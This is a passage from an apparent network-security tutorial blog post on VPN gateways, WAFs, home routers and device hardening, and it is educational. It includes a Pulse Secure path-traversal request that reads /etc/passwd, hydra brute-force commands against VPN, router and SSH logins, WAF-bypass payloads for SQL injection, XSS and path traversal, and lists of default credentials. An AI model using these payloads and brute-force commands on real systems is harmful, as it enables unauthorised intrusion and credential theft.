  Chinese APT Volt Typhoon used similar Fortinet vulnerabilities for initial access
  into US critical infrastructure

F5 BIG-IP (CVE-2023-46747, 2023):
  Authentication bypass → RCE
  CVSS: 9.8
  Active exploitation within days of disclosure

Common thread: VPN gateways are always-on, internet-facing, and handle authentication.
They are the keys to the kingdom, so attackers prioritise them.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;VPN Security Assessment:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Identify VPN software and version (banner grabbing):&lt;/span&gt;
curl &lt;span class="nt"&gt;-sk&lt;/span&gt; https://vpn.target.com/ | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-iE&lt;/span&gt; &lt;span class="s2"&gt;"version|product|ssl-vpn|fortinet|pulse|citrix"&lt;/span&gt;

&lt;span class="c"&gt;# Check for known vulnerable VPN pages:&lt;/span&gt;
&lt;span class="c"&gt;# Pulse Secure: /dana-na/auth/url_default/welcome.cgi&lt;/span&gt;
&lt;span class="c"&gt;# Fortinet: /remote/login&lt;/span&gt;
&lt;span class="c"&gt;# Citrix: /vpn/index.html&lt;/span&gt;

curl &lt;span class="nt"&gt;-sk&lt;/span&gt; https://vpn.target.com/dana-na/auth/url_default/welcome.cgi | &lt;span class="nb"&gt;head&lt;/span&gt; &lt;span class="nt"&gt;-20&lt;/span&gt;

&lt;span class="c"&gt;# Test for CVE-2019-11510 (Pulse Secure file read):&lt;/span&gt;
curl &lt;span class="nt"&gt;-sk&lt;/span&gt; &lt;span class="s2"&gt;"https://vpn.target.com/dana-na/../dana/html5acc/guacamole/../../../etc/passwd?/dana/html5acc/guacamole/"&lt;/span&gt;
&lt;span class="c"&gt;# If returns /etc/passwd content: vulnerable&lt;/span&gt;

&lt;span class="c"&gt;# Enumerate valid VPN usernames (some VPNs respond differently):&lt;/span&gt;
hydra &lt;span class="nt"&gt;-L&lt;/span&gt; users.txt &lt;span class="nt"&gt;-P&lt;/span&gt; /dev/null vpn.target.com &lt;span class="nt"&gt;-s&lt;/span&gt; 443 https-form-post &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="s2"&gt;"/dana-na/auth/url_default/login.cgi:username=^USER^&amp;amp;password=^PASS^:F=Login failed"&lt;/span&gt;

&lt;span class="c"&gt;# WireGuard port scan:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sU&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; 51820 target_ip
&lt;span class="c"&gt;# No response or ICMP unreachable: may be WireGuard (it doesn't respond to unauthenticated packets)&lt;/span&gt;

&lt;span class="c"&gt;# Split tunnel detection (from inside VPN):&lt;/span&gt;
ip route show                        &lt;span class="c"&gt;# If default route through VPN: full tunnel&lt;/span&gt;
&lt;span class="c"&gt;# If only corporate ranges through VPN: split tunnel&lt;/span&gt;
&lt;span class="c"&gt;# Security difference: split tunnel → internet traffic bypasses corporate monitoring&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;VPN Kill Switch:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Configure firewall to block all traffic if VPN disconnects:&lt;/span&gt;
&lt;span class="c"&gt;# This prevents traffic from leaking unencrypted if VPN drops&lt;/span&gt;

&lt;span class="c"&gt;# Linux iptables kill switch:&lt;/span&gt;
&lt;span class="c"&gt;# Default: drop all outbound&lt;/span&gt;
iptables &lt;span class="nt"&gt;-P&lt;/span&gt; OUTPUT DROP
iptables &lt;span class="nt"&gt;-P&lt;/span&gt; INPUT DROP
iptables &lt;span class="nt"&gt;-P&lt;/span&gt; FORWARD DROP

&lt;span class="c"&gt;# Allow loopback:&lt;/span&gt;
iptables &lt;span class="nt"&gt;-A&lt;/span&gt; INPUT &lt;span class="nt"&gt;-i&lt;/span&gt; lo &lt;span class="nt"&gt;-j&lt;/span&gt; ACCEPT
iptables &lt;span class="nt"&gt;-A&lt;/span&gt; OUTPUT &lt;span class="nt"&gt;-o&lt;/span&gt; lo &lt;span class="nt"&gt;-j&lt;/span&gt; ACCEPT

&lt;span class="c"&gt;# Allow VPN interface when established:&lt;/span&gt;
iptables &lt;span class="nt"&gt;-A&lt;/span&gt; INPUT &lt;span class="nt"&gt;-i&lt;/span&gt; tun0 &lt;span class="nt"&gt;-j&lt;/span&gt; ACCEPT
iptables &lt;span class="nt"&gt;-A&lt;/span&gt; OUTPUT &lt;span class="nt"&gt;-o&lt;/span&gt; tun0 &lt;span class="nt"&gt;-j&lt;/span&gt; ACCEPT

&lt;span class="c"&gt;# Allow VPN connection establishment:&lt;/span&gt;
iptables &lt;span class="nt"&gt;-A&lt;/span&gt; OUTPUT &lt;span class="nt"&gt;-p&lt;/span&gt; udp &lt;span class="nt"&gt;--dport&lt;/span&gt; 1194 &lt;span class="nt"&gt;-j&lt;/span&gt; ACCEPT    &lt;span class="c"&gt;# OpenVPN&lt;/span&gt;
iptables &lt;span class="nt"&gt;-A&lt;/span&gt; OUTPUT &lt;span class="nt"&gt;-p&lt;/span&gt; udp &lt;span class="nt"&gt;--dport&lt;/span&gt; 51820 &lt;span class="nt"&gt;-j&lt;/span&gt; ACCEPT   &lt;span class="c"&gt;# WireGuard&lt;/span&gt;
iptables &lt;span class="nt"&gt;-A&lt;/span&gt; INPUT &lt;span class="nt"&gt;-p&lt;/span&gt; udp &lt;span class="nt"&gt;--sport&lt;/span&gt; 1194 &lt;span class="nt"&gt;-j&lt;/span&gt; ACCEPT

&lt;span class="c"&gt;# Now: if VPN drops, ALL traffic blocked — no leaks&lt;/span&gt;
&lt;span class="c"&gt;# Only resumes when VPN reconnects and tun0 comes back up&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key Insight:&lt;/strong&gt; VPN gateways are the most frequently exploited initial access vector used by sophisticated nation-state actors and ransomware groups in the 2020s. The pattern is consistent: pre-auth vulnerability in VPN → foothold inside network → lateral movement → impact. Patching VPN gateways and monitoring their authentication logs deserves the highest priority of any internet-facing system.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  9. WAF — Web Application Firewall
&lt;/h2&gt;

&lt;h3&gt;
  
  
  9.1 What a WAF Does and How
&lt;/h3&gt;

&lt;p&gt;A WAF operates at Layer 7, specifically for HTTP/HTTPS traffic. Unlike a network firewall that filters based on IPs and ports, a WAF inspects the HTTP request and response content.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;WAF INSPECTION POINTS:

Incoming HTTP request:
  ├── URL path (/../../etc/passwd → path traversal blocked)
  ├── Query string (?id=1 UNION SELECT → SQL injection blocked)
  ├── HTTP headers (User-Agent, Cookie, Referer)
  ├── Request body (POST data, JSON, XML)
  └── File uploads (malicious file type/content blocked)

Outgoing HTTP response:
  ├── Credit card patterns (PCI-DSS requirement)
  ├── Social Security numbers
  ├── Error messages revealing internal paths/version info
  └── Sensitive data patterns

WAF Position:
  Client → [WAF] → Web Application
  WAF can: BLOCK (return 403), ALERT, MODIFY (sanitise input), LOG
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  9.2 WAF Detection Methods
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Positive Security Model (Whitelist):&lt;/strong&gt;&lt;br&gt;
Define what valid requests look like. Everything else is blocked. Extremely effective but requires significant effort to define valid request profiles. Used for critical, well-defined APIs.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Negative Security Model (Blacklist):&lt;/strong&gt;&lt;br&gt;
Define known attack patterns. Everything not matching is allowed. Easier to deploy. Misses novel attacks. Most commercial WAFs use this as default.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Machine Learning:&lt;/strong&gt;&lt;br&gt;
Learns "normal" request patterns from traffic. Flags statistical anomalies. Effective for detecting novel attacks and reducing false positives.&lt;/p&gt;
&lt;h3&gt;
  
  
  9.3 WAF Bypass Techniques
&lt;/h3&gt;

&lt;p&gt;Understanding WAF bypass is essential both for penetration testers (demonstrating that a WAF is insufficient protection alone) and for defenders (improving WAF rules).&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# WAF detection:&lt;/span&gt;
wafw00f https://target.com           &lt;span class="c"&gt;# Identify WAF type&lt;/span&gt;
&lt;span class="c"&gt;# Output: Detected: Cloudflare, AWS WAF, Imperva, F5 ASM, etc.&lt;/span&gt;

&lt;span class="c"&gt;# SQLmap WAF bypass options:&lt;/span&gt;
sqlmap &lt;span class="nt"&gt;-u&lt;/span&gt; &lt;span class="s2"&gt;"https://target.com/page?id=1"&lt;/span&gt; &lt;span class="nt"&gt;--tamper&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;space2comment
&lt;span class="c"&gt;# --tamper options:&lt;/span&gt;
&lt;span class="c"&gt;#   space2comment: replace spaces with /**/&lt;/span&gt;
&lt;span class="c"&gt;#   between: add BETWEEN comparisons&lt;/span&gt;
&lt;span class="c"&gt;#   charencode: URL encode characters&lt;/span&gt;
&lt;span class="c"&gt;#   base64encode: encode in base64&lt;/span&gt;
&lt;span class="c"&gt;#   apostrophemask: replace ' with %EF%BC%87&lt;/span&gt;

&lt;span class="c"&gt;# Manual SQL injection WAF bypass techniques:&lt;/span&gt;
&lt;span class="c"&gt;# Standard (blocked): ' UNION SELECT 1,2,3--&lt;/span&gt;
&lt;span class="c"&gt;# Bypass variants:&lt;/span&gt;
&lt;span class="s1"&gt;' /*!UNION*/ /*!SELECT*/ 1,2,3--         # MySQL comment bypass
'&lt;/span&gt; UNION%20SELECT 1,2,3--                  &lt;span class="c"&gt;# URL encoding&lt;/span&gt;
&lt;span class="s1"&gt;' UNION%09SELECT 1,2,3--                  # Tab instead of space
'&lt;/span&gt; UNION&lt;span class="o"&gt;(&lt;/span&gt;SELECT 1,2,3&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="nt"&gt;--&lt;/span&gt;                   &lt;span class="c"&gt;# Parentheses&lt;/span&gt;
&lt;span class="s1"&gt;' UniOn SeLeCt 1,2,3--                    # Mixed case (some WAFs are case-sensitive)
'&lt;/span&gt; UNION SELECT NULL,NULL,NULL--           &lt;span class="c"&gt;# NULL values (avoid type issues)&lt;/span&gt;

&lt;span class="c"&gt;# XSS WAF bypass:&lt;/span&gt;
&lt;span class="c"&gt;# Standard (blocked): &amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;span class="c"&gt;# Bypass variants:&lt;/span&gt;
&amp;lt;img &lt;span class="nv"&gt;src&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;x &lt;span class="nv"&gt;onerror&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;alert&lt;span class="o"&gt;(&lt;/span&gt;1&lt;span class="o"&gt;)&amp;gt;&lt;/span&gt;              &lt;span class="c"&gt;# Different tag&lt;/span&gt;
&amp;lt;svg &lt;span class="nv"&gt;onload&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;alert&lt;span class="o"&gt;(&lt;/span&gt;1&lt;span class="o"&gt;)&amp;gt;&lt;/span&gt;                     &lt;span class="c"&gt;# SVG&lt;/span&gt;
&amp;lt;iframe &lt;span class="nv"&gt;srcdoc&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"&amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;"&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="c"&gt;# Nested&lt;/span&gt;
javascript:alert&lt;span class="o"&gt;(&lt;/span&gt;1&lt;span class="o"&gt;)&lt;/span&gt;                       &lt;span class="c"&gt;# Protocol&lt;/span&gt;
&amp;lt;SCRIPT&amp;gt;alert&lt;span class="o"&gt;(&lt;/span&gt;1&lt;span class="o"&gt;)&lt;/span&gt;&amp;lt;/SCRIPT&amp;gt;                &lt;span class="c"&gt;# Uppercase&lt;/span&gt;
&amp;lt;scr&amp;lt;script&amp;gt;ipt&amp;gt;alert&lt;span class="o"&gt;(&lt;/span&gt;1&lt;span class="o"&gt;)&lt;/span&gt;&amp;lt;/scr&amp;lt;/script&amp;gt;ipt&amp;gt; &lt;span class="c"&gt;# Double nested&lt;/span&gt;
alert&lt;span class="sb"&gt;`&lt;/span&gt;1&lt;span class="sb"&gt;`&lt;/span&gt;                                  &lt;span class="c"&gt;# Template literal (no parens)&lt;/span&gt;
&lt;span class="nb"&gt;eval&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;atob&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'YWxlcnQoMSk='&lt;/span&gt;&lt;span class="o"&gt;))&lt;/span&gt;              &lt;span class="c"&gt;# Base64 encoded&lt;/span&gt;

&lt;span class="c"&gt;# Path traversal WAF bypass:&lt;/span&gt;
&lt;span class="c"&gt;# Standard (blocked): ../../../etc/passwd&lt;/span&gt;
&lt;span class="c"&gt;# Bypass:&lt;/span&gt;
....//....//....//etc/passwd             &lt;span class="c"&gt;# Double encoding&lt;/span&gt;
..%2F..%2F..%2Fetc/passwd                &lt;span class="c"&gt;# URL encoded slash&lt;/span&gt;
..%252F..%252Fetc/passwd                 &lt;span class="c"&gt;# Double URL encoded&lt;/span&gt;
%2e%2e/%2e%2e/etc/passwd                 &lt;span class="c"&gt;# Encoded dots&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;WAF Architecture Attacks:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Origin server bypass:&lt;/span&gt;
&lt;span class="c"&gt;# Many WAFs protect public IP, but backend may be directly accessible&lt;/span&gt;

&lt;span class="c"&gt;# Find origin IP behind WAF:&lt;/span&gt;
&lt;span class="c"&gt;# Method 1: Historical DNS records&lt;/span&gt;
curl &lt;span class="s2"&gt;"https://securitytrails.com/domain/target.com/history/a"&lt;/span&gt;
&lt;span class="c"&gt;# Method 2: DNS history tools&lt;/span&gt;
host target.com 8.8.8.8              &lt;span class="c"&gt;# Current IP&lt;/span&gt;
&lt;span class="c"&gt;# Check: Shodan, Censys, for origin IP matching content fingerprint&lt;/span&gt;

&lt;span class="c"&gt;# Method 3: Subdomain enumeration&lt;/span&gt;
&lt;span class="c"&gt;# Often: api.target.com, origin.target.com, direct.target.com bypass WAF&lt;/span&gt;

&lt;span class="c"&gt;# Method 4: Certificate transparency logs reveal subdomains&lt;/span&gt;
curl &lt;span class="s2"&gt;"https://crt.sh/?q=%25.target.com&amp;amp;output=json"&lt;/span&gt; | python3 &lt;span class="nt"&gt;-m&lt;/span&gt; json.tool | &lt;span class="nb"&gt;grep &lt;/span&gt;name_value

&lt;span class="c"&gt;# Once origin IP found:&lt;/span&gt;
curl &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Host: target.com"&lt;/span&gt; http://ORIGIN_IP/
&lt;span class="c"&gt;# WAF is bypassed — direct attack on application&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key Insight:&lt;/strong&gt; A WAF is not a substitute for secure application development. It is a compensating control that raises the bar for attackers — but every WAF can be bypassed given sufficient time and creativity. The true value of a WAF is reducing the effectiveness of automated attack tools and script kiddies, logging attack attempts for intelligence, and buying time to patch vulnerabilities. Applications must be secure at the code level; WAF is the defence-in-depth layer, not the primary defence.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  10. Modem vs Router
&lt;/h2&gt;

&lt;h3&gt;
  
  
  10.1 The Physical Connection to the Internet
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Modem (Modulator-Demodulator):&lt;/strong&gt;&lt;br&gt;
Converts between the digital signals your network uses and the signal type of your internet connection medium (phone line, cable, fibre, cellular).&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;DSL Modem:   Digital data ↔ Analogue phone line signal (ADSL, VDSL)
Cable Modem: Digital data ↔ DOCSIS cable signal (coax)
Fibre ONT:   Digital data ↔ Optical fibre (PON - Passive Optical Network)
4G/5G Modem: Digital data ↔ Radio frequency cellular signal
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The modem handles the physical and data link layer conversion. It typically does NOT perform routing, NAT, or firewalling in its pure form.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Router:&lt;/strong&gt;&lt;br&gt;
Routes IP packets between networks. In home/SOHO contexts, typically performs:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;NAT (sharing one ISP IP among multiple devices)&lt;/li&gt;
&lt;li&gt;DHCP server (assigns IPs to local devices)&lt;/li&gt;
&lt;li&gt;Basic stateful firewall (blocks unsolicited inbound)&lt;/li&gt;
&lt;li&gt;DNS forwarding&lt;/li&gt;
&lt;li&gt;Wi-Fi access point (if combined device)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;
  
  
  10.2 The Combined Device — Gateway
&lt;/h3&gt;

&lt;p&gt;What most people call a "router" at home is actually a combined device:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Modem (converts ISP signal)&lt;/li&gt;
&lt;li&gt;Router (NAT, routing)&lt;/li&gt;
&lt;li&gt;Firewall (basic stateful)&lt;/li&gt;
&lt;li&gt;DHCP server&lt;/li&gt;
&lt;li&gt;DNS forwarder&lt;/li&gt;
&lt;li&gt;Wi-Fi access point&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;These "home gateway" devices are extremely common attack targets.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Home Gateway Security Issues:

1. Default credentials:
   admin/admin, admin/password, admin/1234, user/user
   Many users never change them
   Shodan shows millions of home routers with default creds accessible

2. UPnP enabled by default:
   Applications can automatically open firewall rules
   Malware exploits UPnP to create persistent inbound access
   Disable UPnP on all home/SOHO routers

3. Remote management exposed:
   HTTP/HTTPS management accessible from internet
   Allows brute force and exploitation from anywhere
   Should be: disabled, or restricted to LAN-only

4. Outdated firmware:
   Home routers rarely receive automatic updates
   Vulnerabilities persist for years

5. DNS-over-WAN attacks:
   DNS rebinding attacks through router

Real-world impact:
   Mirai botnet (2016): compromised ~600,000 routers/IoT devices via
   default credentials, launched 1.2 Tbps DDoS
   VPNFilter (2018): sophisticated malware on 500,000 routers in 54 countries
   Used for: credential theft, network scanning, modifying web traffic
   Attributable to Sandworm (Russian GRU)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Router security assessment:&lt;/span&gt;

&lt;span class="c"&gt;# Identify router model from network:&lt;/span&gt;
nmap &lt;span class="nt"&gt;-O&lt;/span&gt; 192.168.1.1                    &lt;span class="c"&gt;# OS detection&lt;/span&gt;
curl &lt;span class="nt"&gt;-s&lt;/span&gt; http://192.168.1.1/ | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-iE&lt;/span&gt; &lt;span class="s2"&gt;"model|version|firmware|router"&lt;/span&gt;

&lt;span class="c"&gt;# Check for common router admin panels:&lt;/span&gt;
&lt;span class="k"&gt;for &lt;/span&gt;port &lt;span class="k"&gt;in &lt;/span&gt;80 443 8080 8443 8888&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do
    &lt;/span&gt;curl &lt;span class="nt"&gt;-sk&lt;/span&gt; &lt;span class="nt"&gt;-o&lt;/span&gt; /dev/null &lt;span class="nt"&gt;-w&lt;/span&gt; &lt;span class="s2"&gt;"%{http_code}"&lt;/span&gt; http://192.168.1.1:&lt;span class="nv"&gt;$port&lt;/span&gt;/ &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;" port &lt;/span&gt;&lt;span class="nv"&gt;$port&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;span class="k"&gt;done&lt;/span&gt;

&lt;span class="c"&gt;# Test default credentials (manual):&lt;/span&gt;
curl &lt;span class="nt"&gt;-s&lt;/span&gt; http://admin:admin@192.168.1.1/
curl &lt;span class="nt"&gt;-s&lt;/span&gt; http://admin:password@192.168.1.1/

&lt;span class="c"&gt;# Check if remote management is enabled:&lt;/span&gt;
&lt;span class="c"&gt;# Try accessing router from external perspective:&lt;/span&gt;
&lt;span class="c"&gt;# (Use a different network or online scanner)&lt;/span&gt;
nmap &lt;span class="nt"&gt;-sV&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; 80,443,8080,8443 EXTERNAL_ROUTER_IP

&lt;span class="c"&gt;# Check for UPnP:&lt;/span&gt;
upnpc &lt;span class="nt"&gt;-l&lt;/span&gt; 2&amp;gt;/dev/null                   &lt;span class="c"&gt;# List current UPnP port forwards&lt;/span&gt;
&lt;span class="c"&gt;# Any entries: applications have opened holes in the firewall&lt;/span&gt;

&lt;span class="c"&gt;# Shodan for your router:&lt;/span&gt;
&lt;span class="c"&gt;# shodan host EXTERNAL_IP&lt;/span&gt;
&lt;span class="c"&gt;# Shows services visible from internet — router panel should NOT appear&lt;/span&gt;

&lt;span class="c"&gt;# Router CVE checking:&lt;/span&gt;
&lt;span class="c"&gt;# Identify model from router admin page&lt;/span&gt;
&lt;span class="c"&gt;# Search: nvd.nist.gov for model name&lt;/span&gt;
&lt;span class="c"&gt;# Common vulnerable models: D-Link DIR-xxx, TP-Link Archer xxx, Netgear R-xxx&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  11. Network Device Security — Cross-Cutting Concerns
&lt;/h2&gt;

&lt;h3&gt;
  
  
  11.1 Default Credentials — The Universal Problem
&lt;/h3&gt;

&lt;p&gt;Every network device ships with default credentials. Default credentials are:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Published in vendor documentation (anyone can find them)&lt;/li&gt;
&lt;li&gt;Identical across all devices of the same model&lt;/li&gt;
&lt;li&gt;Almost never changed in OT/industrial environments&lt;/li&gt;
&lt;li&gt;The first thing every automated scanner tests
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Comprehensive default credential testing:&lt;/span&gt;

&lt;span class="c"&gt;# For network devices, start with these:&lt;/span&gt;
&lt;span class="c"&gt;# admin/admin, admin/password, admin/(blank), root/root, cisco/cisco&lt;/span&gt;
&lt;span class="c"&gt;# administrator/administrator, operator/operator, user/user&lt;/span&gt;

&lt;span class="c"&gt;# Router targets:&lt;/span&gt;
hydra &lt;span class="nt"&gt;-l&lt;/span&gt; admin &lt;span class="nt"&gt;-P&lt;/span&gt; /usr/share/wordlists/rockyou.txt http-get://192.168.1.1/
&lt;span class="c"&gt;# Or use default credential wordlists:&lt;/span&gt;
hydra &lt;span class="nt"&gt;-C&lt;/span&gt; /usr/share/seclists/Passwords/Default-Credentials/default-passwords.csv &lt;span class="se"&gt;\&lt;/span&gt;
    http-get://192.168.1.1/

&lt;span class="c"&gt;# SSH on network devices:&lt;/span&gt;
hydra &lt;span class="nt"&gt;-C&lt;/span&gt; /usr/share/seclists/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt &lt;span class="se"&gt;\&lt;/span&gt;
    ssh://192.168.1.1

&lt;span class="c"&gt;# Databases of default credentials:&lt;/span&gt;
&lt;span class="c"&gt;# https://www.default-password.info/&lt;/span&gt;
&lt;span class="c"&gt;# https://www.fortypoundhead.com/tools_dpview.asp&lt;/span&gt;
&lt;span class="c"&gt;# Seclists: /usr/share/seclists/Passwords/Default-Credentials/&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  11.2 Management Plane Hardening
&lt;/h3&gt;

&lt;p&gt;All network devices have a management plane — the interface for configuration. This plane must be hardened separately from the data plane (traffic forwarding).&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Management Plane Components:
  CLI: SSH (required), Telnet (must be DISABLED)
  Web: HTTPS (if used), HTTP (must be DISABLED)
  SNMP: v3 authPriv only (v1/v2c must be DISABLED)
  NETCONF/RESTCONF: over SSH/HTTPS (modern management)
  Syslog: send logs to remote server (for audit trail)
  NTP: synchronise time (for accurate log timestamps)

Hardening Checklist:
  ☐ Change all default passwords (minimum 16 characters, complex)
  ☐ Disable Telnet, HTTP, SNMP v1/v2c
  ☐ Enable SSH v2 only (disable SSHv1)
  ☐ Restrict management to specific source IPs (management VLAN only)
  ☐ Enable management access logging
  ☐ Configure SSH key-based authentication (disable password auth)
  ☐ Set session timeout (idle sessions auto-disconnect)
  ☐ Enable all relevant logging to remote syslog
  ☐ Enable NTP synchronisation
  ☐ Disable unused services (CDP, LLDP on untrusted ports, DTP)
  ☐ Apply latest firmware/patch
  ☐ Configure SNMP v3 authPriv (or disable if not used)
  ☐ Enable password encryption in configuration
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Cisco IOS hardening (key commands):&lt;/span&gt;

&lt;span class="c"&gt;# Disable Telnet, enable SSH only:&lt;/span&gt;
&lt;span class="o"&gt;!&lt;/span&gt; line vty 0 15
&lt;span class="o"&gt;!&lt;/span&gt;   transport input ssh
&lt;span class="o"&gt;!&lt;/span&gt;   exec-timeout 5 0           ← 5 minute idle &lt;span class="nb"&gt;timeout&lt;/span&gt;

&lt;span class="c"&gt;# Enable SSH v2:&lt;/span&gt;
&lt;span class="o"&gt;!&lt;/span&gt; ip ssh version 2
&lt;span class="o"&gt;!&lt;/span&gt; crypto key generate rsa modulus 4096

&lt;span class="c"&gt;# Set strong password and enable secret:&lt;/span&gt;
&lt;span class="o"&gt;!&lt;/span&gt; &lt;span class="nb"&gt;enable &lt;/span&gt;algorithm-type sha256 secret StrongPassword123!
&lt;span class="o"&gt;!&lt;/span&gt; username admin privilege 15 algorithm-type sha256 secret AdminPass456!

&lt;span class="c"&gt;# Restrict management to specific IPs:&lt;/span&gt;
&lt;span class="o"&gt;!&lt;/span&gt; ip access-list standard MGMT_HOSTS
&lt;span class="o"&gt;!&lt;/span&gt;   permit 10.10.3.0 0.0.0.255    ← management VLAN only
&lt;span class="o"&gt;!&lt;/span&gt;   deny any log

&lt;span class="o"&gt;!&lt;/span&gt; line vty 0 15
&lt;span class="o"&gt;!&lt;/span&gt;   access-class MGMT_HOSTS &lt;span class="k"&gt;in&lt;/span&gt;

&lt;span class="c"&gt;# Disable unneeded services:&lt;/span&gt;
&lt;span class="o"&gt;!&lt;/span&gt; no ip http server              ← Disable HTTP management
&lt;span class="o"&gt;!&lt;/span&gt; no ip http secure-server       ← Disable HTTPS management &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="k"&gt;if &lt;/span&gt;not needed&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;!&lt;/span&gt; no cdp run                     ← Disable Cisco Discovery Protocol &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="k"&gt;if &lt;/span&gt;not needed&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;!&lt;/span&gt; no service pad
&lt;span class="o"&gt;!&lt;/span&gt; no ip finger
&lt;span class="o"&gt;!&lt;/span&gt; no ip boot server
&lt;span class="o"&gt;!&lt;/span&gt; no service dhcp                ← If not acting as DHCP server
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  11.3 Firmware Vulnerabilities and Patch Management
&lt;/h3&gt;

&lt;p&gt;Network device firmware is software — it has bugs, and those bugs are vulnerabilities. The challenge:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Network Device Patching Challenges:

Production impact:
  Updating firmware requires device restart
  Restart = traffic interruption (seconds to minutes)
  Scheduled downtime required
  HA failover can mitigate but not eliminate

Testing requirement:
  Firmware updates can break existing configuration
  Must test on non-production before deploying

OT/ICS additional challenge:
  Industrial switches in substations: utility safety procedures required
  PLC firmware: vendor must validate every change
  Any change to OT system requires change management approval
  Timeline: months for some changes in critical OT environments

Result: 
  Network devices often run firmware that is years out of date
  Security teams know about vulnerabilities but cannot patch quickly

Compensating controls (when patching is delayed):
  - Network segmentation (limit who can reach management plane)
  - Firewall rules blocking access to vulnerable services
  - IPS signatures for specific CVEs
  - Enhanced monitoring for exploitation indicators
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  12. Network Devices in OT/ICS Environments
&lt;/h2&gt;

